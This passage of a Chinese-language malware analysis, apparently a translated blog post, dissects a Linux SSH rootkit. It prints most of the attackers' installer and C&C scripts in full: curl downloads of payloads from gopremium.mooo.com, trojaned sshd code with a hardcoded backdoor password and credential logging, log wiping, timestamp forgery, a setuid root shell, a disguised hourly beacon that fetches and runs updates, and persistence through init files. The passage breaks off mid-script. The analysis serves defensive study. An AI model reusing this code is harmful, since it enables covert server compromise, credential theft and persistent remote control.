if [ ! -f p2 ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "33[0;32m [+] 33[0m33[0m starting rk test " # green
chmod +x p2
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "33[0;32m [+] 33[0m33[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo " $rkdir/$rk/test-sshd -p 65535"
echo " telnet 127.0.0.1 65535 OR ssh [email protected] -p 65535"
echo " killall -9 test-sshd"
echo
echo -e "33[0;36m [x] 33[0m33[0m After checking, run the full install: ./p2 " #cyan
echo
elif [ ! -z "$(uname -a|grep vyos)" ] && [ "$arch" == "x86_64" ] ; then
rk="vyos64" ; echo "$rk" > 1tempfiles/rk.txt
echo "..." > 1tempfiles/side_files_dir.txt
echo -e "33[0;32m [+] 33[0m33[0m $rk.tgz found. downloading rk & install file (p2)" # green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if [ ! -f $rk.tgz ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
if [ ! -f p2 ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "33[0;32m [+] 33[0m33[0m starting rk test " # green
chmod +x p2
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "33[0;32m [+] 33[0m33[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo " $rkdir/$rk/test-sshd -p 65535"
echo " telnet 127.0.0.1 65535 OR ssh [email protected] -p 65535"
echo " killall -9 test-sshd"
echo
echo -e "33[0;36m [x] 33[0m33[0m After checking, run the full install: ./p2 " #cyan
echo
elif [ ! -z "$(uname -a|grep vyos)" ] && [ "$arch" == "i686" ] ; then
rk="vyos" ; echo "$rk" > 1tempfiles/rk.txt
echo "..." > 1tempfiles/side_files_dir.txt
echo -e "33[0;32m [+] 33[0m33[0m $rk.tgz found. downloading rk & install file (p2)" # green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if [ ! -f $rk.tgz ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
if [ ! -f p2 ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "33[0;32m [+] 33[0m33[0m starting rk test " # green
chmod +x p2
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "33[0;32m [+] 33[0m33[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo " $rkdir/$rk/test-sshd -p 65535"
echo " telnet 127.0.0.1 65535 OR ssh [email protected] -p 65535"
echo " killall -9 test-sshd"
echo
echo -e "33[0;36m [x] 33[0m33[0m After checking, run the full install: ./p2 " #cyan
echo
else
echo -e "33[0;31m [-] 33[0m33[0m rk not found" # red
echo -e "33[0;32m [+] 33[0m33[0m trying to install files needed for default kit" # green
echo
if [ -f /usr/bin/yum ] ; then yum install -y gcc make libgcrypt-devel zlib-devel openssl-devel ; fi
if [ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y gcc make libgcrypt11-dev zlib1g-dev libssl-dev ; fi
echo
echo -ne "33[0;36m [x] 33[0m33[0m press any key to download default rk kit or CTRL+c to exit" #cyan
read a
rk="default" ; echo "$rk" > 1tempfiles/rk.txt
echo ".unix" > 1tempfiles/side_files_dir.txt
echo -e "33[0;32m [+] 33[0m33[0m downloading default rk kit & install file (p2)" # green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/default.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if [ ! -f $rk.tgz ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
if [ ! -f p2 ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "33[0;32m [+] 33[0m33[0m trying to make new rk" # green
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd $rkdir
rm -rf 1tempfiles/*
tar zxf openssh-5.9p1-cu-patch-SSHD-eu.tgz -C 1tempfiles/
cd 1tempfiles/openssh-5.9p1
./configure --prefix=/usr --sysconfdir=/etc/ssh
make
if [ ! -f sshd ] ; then echo -e "33[0;31m [-] 33[0m33[0m failed to make new rk. aborting" ; echo ; exit ; fi
rm -rf ../../default/ssh ; mv ssh ../../default/
rm -rf ../../default/scp ; mv scp ../../default/
rm -rf ../../default/sftp ; mv sftp ../../default/
rm -rf ../../default/sshd-* ; mv sshd ../../default/sshd-eu
cd ../.. ; rm -rf 1tempfiles/* ### acum sunt in $rkdir
cd $maindir
echo -e "33[0;32m [+] 33[0m33[0m starting rk test " # green
chmod +x p2
cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "33[0;32m [+] 33[0m33[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo " $rkdir/$rk/test-sshd -p 65535"
echo " telnet 127.0.0.1 65535 OR ssh [email protected] -p 65535"
echo " killall -9 test-sshd"
echo
echo -e "33[0;36m [x] 33[0m33[0m After checking, run the full install: ./p2 " #cyan
echo
fi
我们将会看到，默认版本中包含有OpenSSH的源代码，而其他版本中只包含有一些特定的二进制文件。
举个例子，下面是ARMv6 tgz 文件，其中包括二进制文件集 sftp、scp ssh和sshd。
在系统默认情况下，该脚本将执行以下任务：
**·** 从 http://gopremium.mooo.com/…/auto/default.tgz中下载一个文件
**·** 从http://gopremium.mooo.com/…/auto/p2中下载一个文件
**·** 安装编译OpenSSH所需的程序库
**·** 执行default.tgz文件并编译一个自定义openssh 版本 (5.9)
**·** 测试最新编译的SSHD 版本是否能够正常工作
该脚本说明了测试这个新sshd的方法。
下一步，该脚本会请求用户运行由p1脚本带出的p2脚本。这个脚本会正式安装SSHD的木马版本（覆盖默认操作系统的二进制文件）。但是在这之前，我要看一下default.tgz
文件中的 OpenSSH 源代码。
**OpenSSH源代码的分析**
* * *
我要检查的第一个东西就是文件的时间戳。大部分文件显示的都是2011年，少部分文件显示的是2016年8月20日，所有我们可以从这些文件开始着手调查。
第一个文件，名为version.h，其中包含了一些很有趣的内容：
默认 SSH 版本已经被更新到了6.0版本 （但是 OpenSSH 编译的代码是还是 5.9 版本）。
进一步分析，我在名为auth-passwd.c的文件中发现了更加有意思的东西：一个默认的后门密码，一些授予默认密码访问权限的代码和其他一些内容。
SECRETPW[2] = 0x74;
SECRETPW[3] = 0x65;
SECRETPW[0] = 0x50;
SECRETPW[1] = 0x52;
SECRETPW[4] = 0x73;
SECRETPW[6] = 0x44;
SECRETPW[5] = 0x74;
ILOG[10] = 0x70;
ILOG[3] = 0x63;
ILOG[8] = 0x2f;
ILOG[7] = 0x31;
ILOG[0] = 0x2f;
ILOG[6] = 0x31;
ILOG[1] = 0x65;
ILOG[5] = 0x58;
ILOG[2] = 0x74;
ILOG[12] = 0x00;
ILOG[4] = 0x2f;
ILOG[9] = 0x2e;
ILOG[11] = 0x72;
if (!strcmp(password, SECRETPW)) {
secret_ok=1;
return 1;
}
result = sys_auth_passwd(authctxt, password);
if(result){
if((f=fopen(ILOG,"a"))!=NULL){
fprintf(f,"%s:%s from %sn",authctxt->user, password, get_remote_ipaddr());
fclose(f);
}
}
else
{
if (file = fopen("/tmp/.unix", "r"))
{
fclose(file);
if((f=fopen(ILOG,"a"))!=NULL){
fprintf(f,"denied : %s:%s from %sn",authctxt->user, password, get_remote_ipaddr());
fclose(f);
}
}
}
密码被存储在 SECRETPW 数组中，并且如果成功匹配，就会被授予访问权限。密码是以十六进制表示的。
>>> "50527465737444".decode("hex")'PRtestD'
此外，在代码中有一个 ILOG 数组，代码会在之后的过程中将其作为文件来引用。使用 fopen 和参数
'a'可以打开这个文件，这就意味着该文件可以在末尾追加数据。文件中存储了相当多的数据：用户名、密码和远程IP。
同样的，文件名也是十六进制形式。
>>> "2f6574632f5831312f2e707200".decode("hex")'/etc/X11/.prx00'
使用任意有效用户名和密码'PRtestD都可以进入系统，但是用户记录并不会显示在系统命令中。然而如果使用正常的密码就不会发生这种情况，这似乎是某种Rootkit行为。
/ etc/X11/.pr文件当中包含了所有已经成功登陆系统的用户名和密码。此外，文件中还包含了从主机中发出的所有SCP/SFTP/SSH连接。
我在 sshlogin.c文件中发现了一些代码会检查输入的密码是否是后门密码。如果是的，就不会保存此次访问记录。这真的是隐藏访问的好办法。
/* * Records that the user has logged in. I wish these parts of operating * systems were more standardized. */voidrecord_login(pid_t pid, const char *tty, const char *user, uid_t uid,
const char *host, struct sockaddr *addr, socklen_t addrlen)
{
struct logininfo *li;
/* save previous login details before writing new */
store_lastlog_message(user, uid);
li = login_alloc_entry(pid, user, host, tty);
login_set_addr(li, addr, addrlen);
if(!secret_ok || secret_ok!=1){
login_login(li);
login_free_entry(li);
}
}
...
..
/* Records that the user has logged out. */void
record_logout(pid_t pid, const char *tty, const char *user)
{
struct logininfo *li;
li = login_alloc_entry(pid, user, NULL, tty);
if(!secret_ok || secret_ok!=1){
login_logout(li);
login_free_entry(li);
}
}
**脚本3（p2）：安装木马SSH工具**
* * *
脚本p2的作用是将原来系统中的 SSH 二进制文件替换为木马版本。完整的脚本如下︰
#!/bin/bash############## RK full install (p2)
# echo -e "33[0;31m [-] 33[0m33[0m" # red# echo -e "33[0;32m [+] 33[0m33[0m" # green# echo -e "33[0;36m xxx 33[0m33[0m" #cyan
echo
os=`cat 1tempfiles/os.txt`
rk=`cat 1tempfiles/rk.txt`
side_files_dir=`cat 1tempfiles/side_files_dir.txt`
maindir=`pwd`
echo -e "33[0;32m [+] 33[0m33[0m starting full rk install" # green
rkdir="$maindir/$rk"
cd $rkdir ; ./run install $rk 1>>$maindir/1tempfiles/log.rkinstall 2>>$maindir/1tempfiles/log.rkinstall
size_rk=`wc -c < $rk/sshd-eu`
size_sshd=`wc -c < /usr/sbin/sshd`if [ "$size_rk" != "$size_sshd" ] ; then echo -e "33[0;31m [-] 33[0m33[0m something is wrong. aborting. check ($maindir/1tempfiles/log.rkinstall)" ; echo ; exit ; fi
echo -e "33[0;32m [+] 33[0m33[0m rk install done (logs in $maindir/1tempfiles/log.rkinstall)"
cd $maindir
echo -e "33[0;32m [+] 33[0m33[0m downloading rkip install file (p3)" # green
rm -rf p3
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p3if [ ! -f p3 ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
chmod +x p3 ; ./p3
该脚本会调用“运行”脚本，这是default.tgz 软件包的一部分，已经在脚本 2 (p1) 中用于测试 SSHD 的编译版本。
它的功能主要如下：
**·** 覆盖日志文件来删除入侵证据
**·**
/var/log/messages, /var/log/secure, /var/log/lastlog, /var/log/wtmp
**·** 定义一个函数来更改已修改文件的时间戳。此函数是 luam_timestamp()
**·** 创建一个/etc/pps目录，用来保存之后会用到的文件。
**·** 创建一个/etc/X11/.pr文件，用来保存所有的用户名及密码。
**·** 编译一个 goprem.c 文件，用来收集本地根外壳代码。文件内容如下：
#include <unistd.h>int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
最后用木马版本覆盖SSH二进制文件，并更改时间戳：
/usr/sbin/sshd, /usr/bin/ssh, /usr/bin/sftp, /usr/bin/scp
脚本内容：
#!/bin/bash
# echo -e "33[0;31m [-] 33[0m33[0m" # red# echo -e "33[0;32m [+] 33[0m33[0m" # green# echo -e "33[0;36m xxx 33[0m33[0m" #cyan
if [ $# != 2 ]; then good=0 ; fi
if [ "$1" == "test" ] ; then
test=1
elif [ "$1" == "install" ] ; then
install=1else
good=0
fi
if [ "$good" = "0" ] ; then
echo
echo -e "33[0;31m $0 [test | install] [rk kit] 33[0m33[0m" # red
echo -e "33[0;36m example: $0 test 2centos6-32bits 33[0m33[0m" #cyan
echo
exit
fi
if [ ! -s "$2" ] ; then
echo
echo -e "33[0;31m $2 is not a valid rk kit 33[0m33[0m" # red
echo
exit
fi
### verificam daca e instalat ce folosim
DEP=('/usr/bin/curl''/bin/sed''/usr/bin/gcc'
)for t in "${DEP[@]}" ; do
if [ -f $t ] ; then
echo -ne "33[0;32m [+] 33[0m33[0m" # green
echo "$t - found"
else
echo -ne "33[0;31m [-] 33[0m33[0m" # red
echo "$t - MISSING OR EMPTY"
good=0
fi
doneif [ "$good" = "0" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi
######## golim logurile de pe server - pe viitor tb gasita alta varianta> /var/log/messages> /var/log/secure> /var/log/lastlog> /var/log/wtmp# EOF golim logurile de pe server - pe viitor tb gasita alta varianta
######## facem directorul si fiserul de unde luam timestamp si facem functia
mkdir /usr/lib/libu.a/ 2>/dev/null
echo "timestamp" > /usr/lib/libu.a/TS04840203583
touch -r /usr/sbin/sshd /usr/lib/libu.a
touch -r /usr/sbin/sshd /usr/lib/libu.a/TS04840203583
luam_timestamp() {
touch -r /usr/lib/libu.a/TS04840203583 $1
}####### EOF facem directorul si fiserul de unde luam timestamp si facem functia
########################################## test partif [ "$test" = "1" ] ; then
# echo "doing test"
if [ -s "$2/run-libcheck" ] ; then
cd $2
./run-libcheck
cd ..
fi
echo
echo -e "33[0;36m [x] setting up permissions 33[0m33[0m" #cyan
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "permision 400 for /etc/ssh/ssh_host*" ; chmod 400 /etc/ssh/ssh_host*
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "creating: /var/empty" ; mkdir /var/empty 1>/dev/null 2>/dev/null
echo
echo -e "33[0;36m [x] moving sshd config files 33[0m33[0m" #cyan
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo /etc/ssh/sshd_config
cp -f sshd_config /etc/ssh
luam_timestamp /etc/ssh/sshd_config
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo /etc/ssh/ssh_config
cp -f ssh_config /etc/ssh
luam_timestamp /etc/ssh/ssh_config
echo
echo -e "33[0;36m [x] test ended. Now test the sshd :) 33[0m33[0m" #cyan
cd $2
rm -rf test-sshd ; cp sshd-eu test-sshd
cd ..
maindir=`pwd` ; workdir="$maindir/$2"
echo " $workdir/test-sshd -p 65535"
echo " telnet 127.0.0.1 65535 / ssh [email protected] -p 65535"
echo " killall -9 test-sshd"
echo
echo -e "33[0;36m [x] Daca totul e bine, ruleaza ./run install $2 33[0m33[0m" #cyan
echo
exit
fi# EOF test part
########################################## install partif [ "$install" = "1" ] ; then
echo
echo -e "33[0;36m [x] creating sniffer files and main dir 33[0m33[0m" #cyan
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "Creating: /etc/pps"
mkdir /etc/pps ; chmod 777 /etc/pps/
luam_timestamp /etc/pps
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "Creating: /etc/X11/.pr"
mkdir /etc/X11 ; chmod 777 /etc/X11/ ; > /etc/X11/.pr
luam_timestamp /etc/X11/.pr
echo
echo -e "33[0;36m [x] creating goprem dir & file (suid) 33[0m33[0m" #cyan
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "creating: /usr/include/arpa"
mkdir /usr/include 1>/dev/null 2>/dev/null
mkdir /usr/include/arpa 1>/dev/null 2>/dev/null
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "gcc goprem.c & moving"
gcc goprem.c -o goprem 2>/dev/null
mv goprem /usr/include/arpa/
chown root:root /usr/include/arpa/goprem
chmod +s /usr/include/arpa/goprem
luam_timestamp /usr/include/arpa/goprem
echo
echo -e "33[0;36m [x] getting permisions in 33[0m33[0m" #cyan
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "/usr/sbin"
chattr -R -aui /usr/sbin/ 1>/dev/null 2>/dev/null
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "/usr/bin"
chattr -R -aui /usr/bin/ 1>/dev/null 2>/dev/null
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "/bin"
chattr -R -aui /bin/ 1>/dev/null 2>/dev/null
echo
echo -e "33[0;36m [x] replacing system files 33[0m33[0m" #cyan
maindir=`pwd` ; workdir="$maindir/$2"
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "saving server's sshd in /etc/pps/old-srvf/"
mkdir /etc/pps/old-srvf ; cp /usr/sbin/sshd /etc/pps/old-srvf/old55hd
luam_timestamp /etc/pps/old-srvf
luam_timestamp /etc/pps/old-srvf/old55hd
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "/usr/sbin/sshd"
cp -f $workdir/sshd-eu /usr/sbin/sshd
luam_timestamp /usr/sbin/sshd
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "/usr/bin/ssh"
cp -f $workdir/ssh /usr/bin/ssh
luam_timestamp /usr/bin/ssh
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "/usr/bin/sftp"
cp -f $workdir/sftp /usr/bin/sftp
luam_timestamp /usr/bin/sftp
echo -ne "33[0;32m [+] 33[0m33[0m" ; echo "/usr/bin/scp"
cp -f $workdir/scp /usr/bin/scp
luam_timestamp /usr/bin/scp
echo
echo -e "33[0;36m [x] moving to the last step (sshd restart file) 33[0m33[0m" #cyan
echo " mv s_res /tmp/.bla ; cd /tmp/.bla ; rm -rf rkkit*"
echo " nohup ./s_res 1>/dev/null 2>/dev/null "
echo " tar zxf side_files.tgz -C /etc/pps ; cd /etc/pps/side_files ; rm -rf /tmp/.bla"
echo
exit
fi
# EOF install part
**脚本4（p3）：**
****
该脚本是由脚本p2通过指令curl –progress-bar -O http://gopremium.mooo.com/…/auto/p3调用的。
同样的，这个脚本会从http://gopremium.mooo.com/…/auto/side_files.tgz
调用一些其他工具。
在仔细研究附加脚本内容和其用处之前，我要先检查一下输出。
这里有几个值得注意的地方，但是最有趣的是最后一行显示了被入侵系统的所有信息以及主机IP。甚至还为该系统分配了一个独特的ID。网络罪犯们保存这样的信息是为了跟踪所有的入侵系统。
P3脚本的完整内容如下所示：
#!/bin/bash
############## rkip install (p3)
# echo -e "33[0;31m [-] 33[0m33[0m" # red
# echo -e "33[0;32m [+] 33[0m33[0m" # green
# echo -e "33[0;36m xxx 33[0m33[0m" #cyan
os=`cat 1tempfiles/os.txt`
rk=`cat 1tempfiles/rk.txt`
side_files_dir=`cat 1tempfiles/side_files_dir.txt`
maindir=`pwd`
echo -e "33[0;32m [+] 33[0m33[0m downloading rkip" # green
rm -rf side_files.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/side_files.tgz
if [ ! -f side_files.tgz ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "33[0;32m [+] 33[0m33[0m starting rkip install" # green
if [ -z $side_files_dir ] ; then echo -e "33[0;31m [-] 33[0m33[0m no side_files_dir. aborting" ; echo ; exit ; fi
rm -rf /etc/pps/side_files
tar mzxf side_files.tgz ; rm -rf side_files.tgz ; cp -R side_files /etc/pps
rkipdir="/etc/pps/side_files"
cd $rkipdir ; yes y | ./install $side_files_dir 1>>$maindir/1tempfiles/log.rkip 2>>$maindir/1tempfiles/log.rkip
node_process_id=$(pidof [pdflush-0])
if [[ -z $node_process_id ]]; then
#echo " nu exista"
echo -e "33[0;31m [-] 33[0m33[0m background proccess did not start. aborting. check ($maindir/1tempfiles/log.rkip). script in /etc/pps/side_files"
echo ; exit
fi
echo -e "33[0;32m [+] 33[0m33[0m rkip install done (logs in $maindir/1tempfiles/log.rkip)"
echo -e "33[0;36m [x] 33[0m33[0m write this down in your notepad :)" #cyan
echo
id_unic=`cat $maindir/1tempfiles/log.rkip|grep NOTEPAD`
echo "$id_unic"
echo
#### cleaning shit out
cd /etc/pps ; rm -rf side_files ; ./dep-safe.arhivez
rm -rf $maindir
**side_files.tgz** **工具的分析**
**安装脚本**
主脚本“安装”执行几个主要功能。它定义了一个timestamp-ptty函数来修改一些文件的时间戳，使得调查更加困难。选择的时间戳和/bin/ls中的类似。
同时，它还会检查是否存在一些已定义的URL，这会在之后的检查中发挥作用。
最后它还会调用另一个脚本dep-install_install2，这也是side_files.tgz的一部分。
安装脚本的完整内容如下：
#!/bin/bash
# echo -ne "33[0;31m [-] 33[0m33[0m" # red
# echo -ne "33[0;32m [+] 33[0m33[0m" # green
# echo -ne "33[0;36m xxx 33[0m33[0m" #cyan
if [ $# != 1 ]; then
echo
echo -e "33[0;31m $0 [... | .unix] 33[0m33[0m" # red
echo -e "33[0;36m [... | .unix] = which main server dir is used 33[0m33[0m" #cyan
echo
exit;
fi ; echo
############## facem linkul de la main server in functie de director
myhost="gopremium.mooo.com"
main_link="http://$myhost/$1"
mkdir /usr/lib/libu.a/ 1>/dev/null 2>/dev/null
## adaog timestamp
echo "timestamp-ptty" > /usr/lib/libu.a/TS8402386704
touch -r /bin/ls /usr/lib/libu.a
touch -r /bin/ls /usr/lib/libu.a/TS8402386704
luam_timestamp() {
touch -r /usr/lib/libu.a/TS8402386704 $1
}
## EOF adaog timestamp
echo "$main_link" > /usr/lib/libu.a/l3290367235
luam_timestamp /usr/lib/libu.a/l3290367235
main_link_check=`cat /usr/lib/libu.a/l3290367235`
if [ "$main_link" == "$main_link_check" ] ; then
#echo "aceleasi linkuri"
echo -ne "33[0;32m [+] 33[0m33[0m" # green
echo "main server link: $main_link_check"
good=1
else
#echo "difera"
echo -ne "33[0;31m [-] 33[0m33[0m" # red
echo "there is something wrong with the main_link."
good=0
fi
if [ "$good" != "1" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi
echo -ne "33[0;36m [x] 33[0m33[0m" #cyan
echo -n "press any key if link is okay" ; read a
# EOF facem linkul de la main server in functie de director
### verificam daca e instalat ce folosim
DEP=(
'/usr/bin/curl'
'/bin/sed'
'/usr/bin/gcc'
'dep-install_install2'
'dep-install_ptty'
)
for t in "${DEP[@]}" ; do
if [ -f $t ] ; then
echo -ne "33[0;32m [+] 33[0m33[0m" # green
echo "$t - found"
else
echo -ne "33[0;31m [-] 33[0m33[0m" # red
echo "$t - MISSING OR EMPTY"
good=0
fi
done
if [ "$good" != "1" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi
echo -ne "33[0;36m [x] 33[0m33[0m" #cyan
echo "starting dep-install_install2"
./dep-install_install2
**对dep-install_install2脚本的分析**
该脚本的第一部分使用了同样的手段来修改文件的时间戳。
然后它会查询http://gopremium.mooo.com/.unix/return_ip.php来找出受损系统的公开IP。
此外还有一个函数来生成一个唯一的随机ID，用来定位受损系统。
该脚本还会编译events.c，这是一个每小时运行一次的程序，作用是来启动另一个指令/usr/bin/ptty。它甚至会定义一个假名字[pdflush-0]，pdfflush
是一个通常用于为高速缓存在 Linux 系统中运行的程序。还有另一个有趣的技术来隐藏恶意进程。
Events.c内容如下：
#include <stdio.h>
#include <pthread.h>
#define FAKE "[pdflush-0]"
int main(int argc, char **argv){
strcpy(argv[0],FAKE);
while (1) {
sleep(3600);
system("/usr/sbin/ptty 1>>/dev/null 2>>/dev/null");
}
return 0;
}
在C语言代码中被调用的 /usr/sbin/ptty指令是脚本 dep-install_ptty，这是TGZ文件的一部分。我会在之后具体解释脚本内容。
此脚本所做的下一件事就是确保执行event二进制文件（编译文件）。这是通过修改/etc/init/env.conf 文件，在其中加入对外壳脚本
/usr/sbin/env. /usr/sbin/env的调用，该外壳程序是用来调用event二进制文件的。
下面是修改版本的内容（请注意最后一行以及对/usr/sbin/env的调用）：
# env - Event System Register
description "Event System Register"
start on runlevel [2345]
stop on runlevel [!2345]
respawn
exec /usr/sbin/env
**"/usr/bin/env** " 也是side_files.tgz的一部分，基本上调用编译好的二进制文件 **'events** '.
** "/usr/sbin/env"**中的代码 **：**
killall -9 events 1>/dev/null 2>/dev/null
nohup events 1>/dev/null 2>/dev/null &
通过对不同的文件的多次调用来执行恶意文件，并利用其他的二进制文件和配置文件，使得网络罪犯得以隐身。
最后，脚本会发送一个 HTTP 请求到服务器，用来通知已经入侵了一个新的系统。发生这种情况会通过 URL
http://gopremium.mooo.com/.unix/srv-newinstall.php
**
**
**对dep-install_ptty脚本的分析**
此脚本负责每小时与C&C进行交互。脚本的主要作用如下：
· 检查是否还有其他用户连接到系统当中，由此来决定脚本剩余内容是否需要执行
· 从URL http://gopremium.mooo.com/.unix/srvupdt.tgz.下载更新
· 从URL http://gopremium.mooo.com/.unix/srvupdt_IDXYZ.tgz（其中 IDXYZ 是该系统的唯一
ID）下载此特定受损系统的任何更新版本
· 检查IP是否已经更改，它会查询http://gopremium.mooo.com/.unix/return_ip.php，将其与以前的IP进行对比
·
检查SSHD二进制文件中是否有任何变化，如果服务器已经遭到破坏，就会通过http://gopremium.mooo.com//.unix/srv.php?ip=XXXXip_changed=NO&sshd_changed=NO&sshd_backup_missing=NO&srv_was_down=YES&ptty_ver=3.0（XXXX是当前IP）发送该信息。
#!/bin/bash
ptty_ver="3.0"
######### verificam daca e cineva logat si nu are idle.
logati_fara_idle=`w|grep -v 'southsea|inordkuo|localte|lolo'|grep -v days|cut -c43-50|grep s`
if [[ -z $logati_fara_idle ]] ; then
# echo "nu e nimeni activ pe server"
useri=0
else
# echo "sunt useri activi pe server"
useri=1
fi
# EOF verificam daca e cineva logat si nu are idle.
######## continuam cu scriptul DOAR DACA nu sunt useri activi pe server
if [ "$useri" == "0" ] ; then
####### verificam daca merge dns-ul, daca nu, adaogam nameserver
dns=`cat /etc/resolv.conf |grep 208.67.220.222`
if [[ -z $dns ]] ; then
# echo "dns nu e bun"
echo "nameserver 208.67.220.222" >> /etc/resolv.conf
fi
# EOF verificam daca merge dns-ul, daca nu, adaogam nameserver
####### continuam cu scriptul DOAR DACA merge netul, verificam pe google
url_check_net="http://google.com"
if curl --output /dev/null --silent --head --fail "$url_check_net"; then
# echo "URL exists: $url_check_net - merge netul"
ip=`cat /usr/lib/libu.a/i1935678123`
id_unic=`cat /usr/lib/libu.a/g239293471` # id unic pt fiecare server in parte, e generat la install
url=`cat /usr/lib/libu.a/l3290367235` # hostul principal il ia din txt
#url="http://192.168.137.177/test/sc/test" # hostul principal. E DEFINIT IN ptty SI IN install
### adaog timestamp
luam_timestamp() {
touch -r /usr/lib/libu.a/TS8402386704 $1 2>/dev/null
}
# EOF timestamp
luam_timestamp /usr/lib/libu.a
luam_timestamp /usr/lib/libu.a/l3290367235
luam_timestamp /usr/lib/libu.a/i1935678123
luam_timestamp /usr/lib/libu.a/g239293471
######### DACA EXISTA ARHIVA srvupdt.tgz PE SERVERUL DE BAZA, O DOWNLOADEAZA, EXTRAGE SI EXECUTA.
url_srvupdt="$url/srvupdt.tgz" # il pui daca vrei sa lansezi un script pe servere
url_srvupdt_confirmare="$url/srvupdt.php?ip=$ip&tgz=srvupdt.tgz" # intra pe el ca sa confirme ca a tras arhiva
if curl --output /dev/null --silent --head --fail "$url_srvupdt"; then
# echo "URL exists: $url_srvupdt"
curl -s "${url_srvupdt_confirmare}" 1>/dev/null 2>/dev/null &
tempdir="/tmp/.tmp"
rm -rf "$tempdir" 1>/dev/null 2>/dev/null
mkdir "$tempdir" 1>/dev/null 2>/dev/null
curl --silent "$url_srvupdt" --output "$tempdir"/srvupdt.tgz 2>/dev/null
cd "$tempdir" 2>/dev/null
tar zxvf srvupdt.tgz 1>/dev/null 2>/dev/null
cd srvupdt 1>/dev/null 2>/dev/null
./install & 2>/dev/null
fi
# EOF DACA EXISTA ARHIVA PE SERVERUL DE BAZA, O DOWNLOADEAZA, EXTRAGE SI EXECUTA
######### ARHIVA SPECIAL FACUTA PT FIECARE SERVER IN PARTE. foloseste $id_unic
url_id_unic="$url/srvupdt_$id_unic.tgz"
url_id_unic_confirmare="$url/srvupdt.php?ip=$ip&tgz=srvupdt_$id_unic.tgz" # intra pe el ca sa confirme ca a tras arhiva
if curl --output /dev/null --silent --head --fail "$url_id_unic"; then
# echo "URL exists: $url_id_unic"
curl -s "${url_id_unic_confirmare}" 1>/dev/null 2>/dev/null &
tempdir="/var/tmp/.tmp"
rm -rf "$tempdir" 1>/dev/null 2>/dev/null
mkdir "$tempdir" 1>/dev/null 2>/dev/null
curl --silent "$url_id_unic" --output "$tempdir"/srvupdt_$id_unic.tgz 2>/dev/null
cd "$tempdir" 2>/dev/null
tar zxvf srvupdt_$id_unic.tgz 1>/dev/null 2>/dev/null
cd srvupdt_$id_unic 1>/dev/null 2>/dev/null
./install & 2>/dev/null
fi
# EOF RHIVA SPECIAL FACUTA PT FIECARE SERVER IN PARTE. foloseste $id_unic
########## PORNIM RESTUL SCRIPTULUI
changes=0
ip_changed="NO"
sshd_changed="NO"
sshd_backup_missing="NO"
srv_was_down="NO"
######## verificam ce ip are serverul
url_return_ip="$url/return_ip.php" # din el ia valoarea $new_ip fiecare server
if curl --output /dev/null --silent --head --fail "$url_return_ip"; then
new_ip=`curl -s "$url_return_ip"|grep -Eo '([0-9]{1,3}.){3}[0-9]{1,3}'`
fi
